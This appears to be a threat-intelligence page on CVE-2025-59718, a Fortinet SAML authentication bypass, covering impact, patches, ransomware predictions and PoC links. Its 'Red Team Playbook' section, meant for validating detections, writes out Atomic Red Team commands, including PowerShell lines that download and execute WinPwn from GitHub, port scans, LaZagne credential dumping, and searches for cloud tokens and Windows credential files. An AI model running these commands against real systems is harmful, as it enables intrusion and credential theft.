CVE-2025-59718
Overview
This vulnerability is an authentication bypass caused by improper verification of cryptographic signatures in the SAML response processing of Fortinet FortiSwitchManager and related Fortinet products. The root cause lies in the failure to correctly validate the cryptographic signature of SAML assertions, allowing crafted messages to bypass FortiCloud SSO login authentication. The affected component is the SAML authentication mechanism within FortiSwitchManager versions 7.0.0 through 7.0.5 and 7.2.0 through 7.2.6, as well as specific FortiOS and FortiProxy versions.
Vulnerability Description
A improper verification of cryptographic signature vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.10, FortiProxy 7.2.0 through 7.2.14, FortiProxy 7.0.0 through 7.0.21, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML response message.
Impact
An unauthenticated attacker can bypass FortiCloud SSO login authentication, gaining unauthorized access to affected FortiSwitchManager instances. This access potentially allows full administrative control over the device, enabling compromise of network management functions. No user interaction or valid credentials are required, increasing the attack surface. The vulnerability can lead to unauthorized disclosure of sensitive network configuration data and facilitate further lateral movement within the network environment.
Solution
Fortinet has released security updates addressing this vulnerability in FortiSwitchManager versions 7.0.6 and 7.2.7, as well as updated FortiOS and FortiProxy versions. Administrators should apply these patches promptly. Detailed patch instructions and advisory information are available at Fortinet's official PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-25-647. Additionally, administrators should review device registration settings to ensure the vulnerable SAML configuration is disabled if patching is not immediately feasible.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Fortinet's FortiOS, FortiProxy, and FortiSwitchManager products arises from improper verification of cryptographic signatures, specifically in the handling of SAML (Security Assertion Markup Language) response messages. This flaw allows an unauthenticated attacker to craft a malicious SAML response that can bypass the FortiCloud Single Sign-On (SSO) login authentication mechanism. The affected versions span multiple releases, including FortiOS versions 7.6.0 to 7.6.3, 7.4.0 to 7.4.8, and earlier iterations, as well as corresponding versions of FortiProxy and FortiSwitchManager. The critical nature of this vulnerability is underscored by its high CVSS score, indicating a severe risk to systems utilizing these products.
Attackers can exploit this vulnerability through various vectors, primarily by sending specially crafted SAML responses to the affected systems. Since the flaw allows for the bypass of authentication mechanisms, an attacker could gain unauthorized access to sensitive resources without needing valid credentials. This could lead to a range of malicious activities, including data exfiltration, unauthorized configuration changes, or even lateral movement within the network. Given the widespread use of Fortinet products in enterprise environments, the potential for exploitation is significant, especially in organizations that rely heavily on SSO for user authentication.
The real-world impact of this vulnerability can be profound. Organizations that utilize Fortinet's solutions may face severe business risks, including data breaches, loss of sensitive information, and reputational damage. The ability for an attacker to bypass authentication can lead to unauthorized access to critical systems, potentially resulting in financial losses and regulatory penalties, particularly in industries that are subject to strict compliance requirements. Furthermore, the exploitation of this vulnerability could serve as a foothold for more extensive attacks, allowing adversaries to escalate privileges and compromise additional systems within the network.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating and patching affected Fortinet products is essential to close the security gap. Security teams should also monitor logs for any unusual authentication attempts or access patterns that may indicate exploitation attempts. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious SAML traffic. Organizations should consider implementing multi-factor authentication (MFA) as an additional layer of security to protect against unauthorized access, even if the initial SSO mechanism is compromised.
In conclusion, the improper verification of cryptographic signatures in Fortinet products presents a critical security vulnerability that requires immediate attention. The potential for exploitation poses significant risks to organizations, making it imperative for cybersecurity teams to adopt proactive measures to safeguard their environments. By staying informed about the latest threats and implementing robust security practices, organizations can mitigate the impact of such vulnerabilities and enhance their overall security posture.
Recent updates to CVE-2025-59718 reveal a downward revision of the CVSS score from 9.8 to 9.1, reflecting a refined understanding of the vulnerability’s exploitability and impact. Despite this slight reduction in severity, our telemetry indicates a significant decline in detection activity related to this flaw, suggesting either a temporary lull in active exploitation or improved defensive postures among affected organizations. Contrarily, the Exploit Prediction Scoring System (EPSS) score has nearly doubled, rising by over 90%, signaling an increased likelihood of exploitation attempts in the near term. This divergence between reduced observed activity and heightened predictive risk underscores a complex threat landscape where adversaries may be preparing or refining exploit techniques rather than conducting widespread attacks currently. Notably, the presence of new proof-of-concept exploits publicly available on GitHub continues to lower the barrier for threat actors to weaponize this vulnerability. Although no confirmed ransomware campaigns have been linked to this CVE, the association of ransomware groups such as akira and ransomhub with related Fortinet vulnerabilities warrants continued vigilance. Overall, this update adjusts the risk assessment to a sustained critical threat level, emphasizing that while immediate exploitation may have slowed, the potential for rapid escalation remains elevated due to increased exploitability indicators and publicly accessible attack tools.
Update 2 — June 20, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-59718, accompanied by a significant upward revision of its CVSS score to 9.8 and a substantial increase in the Exploit Prediction Scoring System (EPSS) metric. This surge in activity correlates with the recent public release of multiple proof-of-concept exploits, which have notably lowered the technical barrier for adversaries to weaponize this vulnerability. Our telemetry indicates that exploitation attempts are rapidly increasing, placing this vulnerability in the highest percentile of exploit likelihood. Although no direct ransomware campaigns have yet been conclusively linked to this CVE, the ongoing interest from ransomware-associated groups such as akira and ransomhub underscores the potential for future integration into malicious toolsets. The convergence of heightened exploitability, public exploit availability, and ransomware group attention elevates the threat posture, signaling an urgent need for defenders to maintain heightened situational awareness. Consequently, the risk assessment for CVE-2025-59718 is updated to reflect a sustained critical threat level with an increased probability of active exploitation in the near term.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | All |
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortiswitchmanager | All |
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
exfil0/CVE-2025-59718-PoC
Fortinet announced two closely related authentication‑bypass vulnerabilities on 9 December 2025. Both flaws involve impr...
|
exfil0 | 6 | 5 | 2025-12-17 | View |
|
moften/CVE-2025-59718-Fortinet-Poc
PoC para determinar si Fortinet es vulnerable a CVE-2025-59718 / CVE-2025-59719
|
moften | 3 | 0 | 2025-12-27 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
14 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-463 | Padding Oracle Crypto Attack |
30%
|
— | High | |
| CAPEC-475 | Signature Spoofing by Improper Validation |
30%
|
Low | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-59718 |
| fortiguard.fortinet.com |
GitHub CVE
|
https://fortiguard.fortinet.com/psirt/FG-IR-25-647 |
| arcticwolf.com |
NVD API
Third Party Advisory
|
https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-59718 |